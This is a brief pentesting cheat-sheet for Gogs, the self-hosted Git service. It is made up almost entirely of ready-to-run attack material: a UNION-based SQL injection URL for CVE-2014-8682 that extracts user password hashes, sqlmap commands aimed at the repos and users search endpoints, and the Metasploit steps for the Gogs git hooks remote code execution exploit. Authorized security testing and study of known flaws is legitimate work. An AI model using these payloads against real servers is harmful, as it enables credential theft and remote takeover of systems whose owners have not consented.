# Gogs Pentesting

Gogs (Go Git Service) is a painless self-hosted Git Service.

### SQL injection ([CVE-2014-8682](https://www.exploit-db.com/exploits/35238)) <a href="#sql-injection-cve-2014-8682" id="sql-injection-cve-2014-8682"></a>

```shellscript
http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--
```

#### Automation <a href="#automation" id="automation"></a>

```shellscript
sqlmap -u "https://example.com/api/v1/repos/search?q=test"
sqlmap -u "https://example.com/api/v1/users/search?q=test"
```

### Git Hooks Remote Code Execution (RCE) <a href="#git-hooks-remote-code-execution-rce" id="git-hooks-remote-code-execution-rce"></a>

```shellscript
msfconsole
msf> use exploit/multi/http/gogs_git_hooks_rce
msf> (set options...)
msf> run
```
